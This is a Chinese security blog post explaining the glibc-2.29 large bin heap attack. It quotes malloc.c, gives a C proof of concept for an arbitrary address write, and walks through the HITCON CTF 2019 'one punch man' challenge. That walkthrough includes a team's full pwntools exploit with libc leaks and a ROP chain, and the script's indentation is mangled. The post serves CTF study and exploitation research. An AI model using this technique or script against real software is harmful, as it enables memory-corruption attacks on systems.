glibc-2.29 large bin attack 原理

该方法并非笔者发现,而是阅读 balsn 的 writeup 时分析而得到的,这里介绍一下这种攻击方法。


unsorted bin attack

在介绍新的攻击技术之前,先来缅怀一下 unsorted bin attack , 由于 glibc-2.29 新上的保护措施,使得 unsorted bin attack 基本已经成为过去式。

unsorted bin attack的原理是利用 unsortedbin 在解链时,对 fd 指针的操作,直接的作用就是可以任意地址写入一个 main_arena 地址值,非常好用的攻击方法。虽然 glibc-2.29 不能使用 unsorted bin attack 了,但是 large bin attack 或许可以成为它的代替品。


large bin attack

glibc-2.29 的 large bin attack 和先前的并不完全一样,但是原理类似。

其主要发生在 large bin 的 nextsize 成环时,没有对其进行检查,所以只要存在 UAF 漏洞,就能修改 nextsize 指针进行任意地址写入 chunk 地址的操作。

漏洞主要发生在下列代码(来自 glibc-2.29/malloc/malloc.c:3841 ):

 victim_index = largebin_index (size);
         bck =bin_at (av, victim_index);
         fwd =bck->fd;         
         
         /* maintainlarge bins in sorted order */        
         if (fwd !=bck)        
           {           
            /* Orwith inuse bit to speed comparisons */            
            size |=PREV_INUSE;            
            /* if smaller than smallest, bypassloop below */            
            assert(chunk_main_arena (bck->bk));            
            if ((unsignedlong) (size)    
 < (unsigned long)chunksize_nomask (bck->bk));
             {                
               fwd= bck;                
               bck = bck->bk;            
               
               victim->fd_nextsize = fwd->fd;               
               victim->bk_nextsize = fwd->fd->bk_nextsize; // one               
               fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize =victim;             
                }            
              else              
              {               
              assert (chunk_main_arena (fwd));                
              while((unsigned long) size < chunksize_nomask (fwd))                  
              {                   
              fwd = fwd->fd_nextsize;
assert(chunk_main_arena (fwd)); 
                 }      
                            
                 // but size must be different               
                  if((unsigned long) size  
== (unsigned long)chunksize_nomask (fwd))
                  /*Always insert in the second position.  */                 
                  fwd = fwd->fd;                
                  else                  
                  {                  
                   victim->fd_nextsize = fwd;                   
                   victim->bk_nextsize = fwd->bk_nextsize;                   
                   fwd->bk_nextsize = victim;                   
                   victim->bk_nextsize->fd_nextsize = victim; // two                 
                    }                
                    bck = fwd->bk;           
                  }         
             }       
        else         
        victim->fd_nextsize = victim->bk_nextsize = victim;


large bin 是以 victimindex 为单位进行 nextsize 之间的成环操作,每个 victimindex 的长度是 0x40,上面的代码是 unsorted bin 进行归位 操作时,将 本属于该环的 victim 插入到该环中。但是这里却没有unsorted bin 那样对指针进行检查。

由于 large bin 是双向链表,插入操作并不会对整个环进行检查,这里我们只需要劫持 其bk_nextsize 指针,那么在插入的时候,程序便会把该假的地址当成一个真的 chunk 从而进行双向链表插入操作,这样就会使得该要插入的 chunk 将会留下它的地址到我们 设置的任意地址。

其核心代码是victim->bk_nextsize = fwd->fd->bk_nextsize; // one或者victim->bk_nextsize->fd_nextsize = victim; // two,就是在这里完成了写操作,具体执行哪段代码还要取决与两个chunk 的size 比较。

这里提醒一点,两个chunk 的size不能相同,否则会执行下面程序流而导致不能实现我们的目的。

if ((unsigned long) size
  == (unsigned long)chunksize_nomask (fwd))  
  /* Always insertin the second position.  */  
  fwd = fwd->fd;


其次是 large bin 的 fdnextsize 需要设置为0,否则程序流会执行到下面的代码进行unlink 操作,那么就无法通过 unlink 对 large bin 的 bknextsize 和fd_nextsize 检查。

来自 glibc-2.29/malloc/malloc.c:4049

  size = chunksize(victim);  
   
  /*  We know the first chunk in this bin is bigenough to use. */  
  assert ((unsignedlong) (size) >= (unsigned long) (nb)); 
   
   remainder_size =size - nb;  
   
    /* unlink */  
    unlink_chunk (av,victim);


样例代码

#include <stdio.h>
#include <stdlib.h> 

size_t buf[0x10]; 

int main()
{
    size_t *ptr,*ptr2, *ptr3;    
    setbuf(stdout, NULL);     
    
    ptr = malloc(0x438);    
    malloc(0x18);    
    ptr2 = malloc(0x448);    
    malloc(0x18);    
    free(ptr);    
    // put ptr intolarge bin   
    malloc(0x600);    
    free(ptr2);    
    ptr[2] = 0;    
    ptr[3] = (size_t)&buf[0];
         
    printf("buf[4]:0x%lxn", buf[4]);    
    ptr3 = malloc(0x68);    
    printf("buf[4]:0x%lxn", buf[4]);
         
    return 0;
}


buf[4]就相当于 fakechunk->fdnextsize 指针,指向该节点的上一个节点。

执行结果如下所示:


buf[4]: 0x0
buf[4]: 0x560075a246b0


例题 - HITCON CTF 2019 PWN - one punch man

文件链接:https://github.com/Ex-Origin/ctf-writeups/tree/master/hitconctf2019/pwn/onepunchman

该程序主要的漏洞就是在delete时没有清理指针,导致UAF。

void delete()
{
   unsigned int v0; //[rsp+Ch] [rbp-4h]
   
   write_str("idx:");  
   v0 = get_int();  
   if ( v0 > 2 )    
     error((__int64)"invalid");  
   free((void*)heros[v0].calloc_ptr);
 }


程序预置了后门函数,但是在tcache上有限制,必须要我们劫持tcache_perthread_struct才行,这里有两种思路,我自己的做法是劫持tcache_perthread_struct->entries,这里由于和本文章关系不大,这里我简要说下核心思路:利用tcache_perthread_struct->counts 伪造 size,然后利用 unlink 使得chunk overlap,然后控制其tcache_perthread_struct->entries


第二种做法就是 balsn 战队的做法,很优秀的方法,核心思路就是利用large bin attack修改 tcache_perthread_struct->counts 来使用预置后门,然后用add 当中的缓冲区进行 ROP。

下面是 balsn 的脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
import time
import random
host = '52.198.120.1'
port = 48763 

r = process('./one_punch') 

binary = "./one_punch"
context.binary = binary
elf = ELF(binary)
try:
  libc = ELF("./libc-2.29.so")  
  log.success("libcload success")  
  system_off =libc.symbols.system  
  log.success("system_off= "+hex(system_off))
except:
  log.failure("libcnot found !") 
  
def name(index, name):  
  r.recvuntil(">")  
  r.sendline("1")  
  r.recvuntil(":")
 r.sendline(str(index)) 
  r.recvuntil(":")  
  r.send(name)  
  pass 

  def rename(index,name):  
  r.recvuntil(">")  
  r.sendline("2")  
  r.recvuntil(":") 
  r.sendline(str(index))  
  r.recvuntil(":")  
  r.send(name)  
  
  pass 

def d(index):  
  r.recvuntil(">")
  r.sendline("4")  
  r.recvuntil(":") 
  r.sendline(str(index))  
  pass 
  
  def show(index):  
  r.recvuntil(">")  
  r.sendline("3")  
  r.recvuntil(":")  
  r.sendline(str(index)) 
  
  def magic(data):  
  r.recvuntil(">")  
  r.sendline(str(0xc388))  
  time.sleep(0.1)  
  r.send(data) 
# if len(sys.argv) == 1:
#   r =process([binary, "0"],env={"LD_LIBRARY_PATH":"."}) 

# else:
#   r = remote(host,port) 

if __name__ == '__main__':  
  name(0,"A"*0x210)  
  d(0)  
  name(1,"A"*0x210)  
  d(1)  
  show(1)  
  r.recvuntil("name: ")  
  heap =u64(r.recv(6).ljust(8,"x00")) - 0x260  
  print("heap= {}".format(hex(heap)))  
  for i in xrange(5):    
    name(2,"A"*0x210)    
    d(2)  
  name(0,"A"*0x210)  
  name(1,"A"*0x210)  
  d(0)  
  show(0)  
  r.recvuntil("name: ")  
  libc =u64(r.recv(6).ljust(8,"x00")) - 0x1e4ca0  
  print("libc= {}".format(hex(libc)))  
  d(1)  rename(2,p64(libc+ 0x1e4c30))   
  
  name(0,"D"*0x90)  
  d(0)  
  for i in xrange(7):
      name(0,"D"*0x80)    
      d(0)  
  for i in xrange(7):
      name(0,"D"*0x200)    
      d(0)   
      
      name(0,"D"*0x200) 
      name(1,"A"*0x210) 
      name(2,p64(0x21)*(0x90/8))  
      rename(2,p64(0x21)*(0x90/8))  
      d(2)  
      name(2,p64(0x21)*(0x90/8))  
      rename(2,p64(0x21)*(0x90/8))  
      d(2)   
      d(0)  
      d(1)  
      name(0,"A"*0x80)  
      name(1,"A"*0x80)  
      d(0)  
      d(1)  
      name(0,"A"*0x88+ p64(0x421) + "D"*0x180 )  
      name(2,"A"*0x200)  d(1)  d(2)  name(2,"A"*0x200) 
      rename(0,"A"*0x88+ p64(0x421) + p64(libc + 0x1e5090)*2 + p64(0) + p64(heap+0x10) )  
      d(0)  
      d(2)   
      
      // pause()  
      name(0,"/home/ctf/flagx00x00"+ "A"*0x1f0)  
      magic("A")  
      add_rsp48 = libc+ 0x000000000008cfd6  
      pop_rdi = libc + 0x0000000000026542  
      pop_rsi = libc + 0x0000000000026f9e  
      pop_rdx = libc + 0x000000000012bda6  
      pop_rax = libc + 0x0000000000047cf8  
      syscall = libc + 0xcf6c5  
      magic(p64(add_rsp48))   
      
      name(0,p64(pop_rdi)+ p64(heap + 0x24d0) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) +p64(syscall) +      
      p64(pop_rdi)+ p64(3) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x100) + p64(pop_rax)+ p64(0) + p64(syscall) +      
      p64(pop_rdi)+ p64(1) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x100) + p64(pop_rax)+ p64(1) + p64(syscall)      
      )
 r.interactive()


在上面的// pause()处暂停,查看其bin情况。

pwndbg> largebins
largebins
0x400: 0x56224269a4c0 —▸ 0x7f455f1dd090 (main_arena+1104)◂—0x56224269a4c0
pwndbg> x/6gx 0x56224269a4c
00x56224269a4c0:   0x4141414141414141 0x0000000000000421
0x56224269a4d0:   0x00007f455f1dd090 0x00007f455f1dd090
0x56224269a4e0:   0x0000000000000000 0x0000562242698010
pwndbg>


这里构造好了 large bin attack,当进行 unsorted bin 归位时,便会修改tcache_perthread_struct->counts。

 


本文作者:星盟安全团队

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/118627.html

Tags:
评论  (0)
快来写下你的想法吧!

星盟安全团队

文章数:31 积分: 75

星盟安全团队---"VENI VIDI VICI"(我来,我见,我征服),我们的征途是星辰大海。从事各类安全研究,专注于知识分享。

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号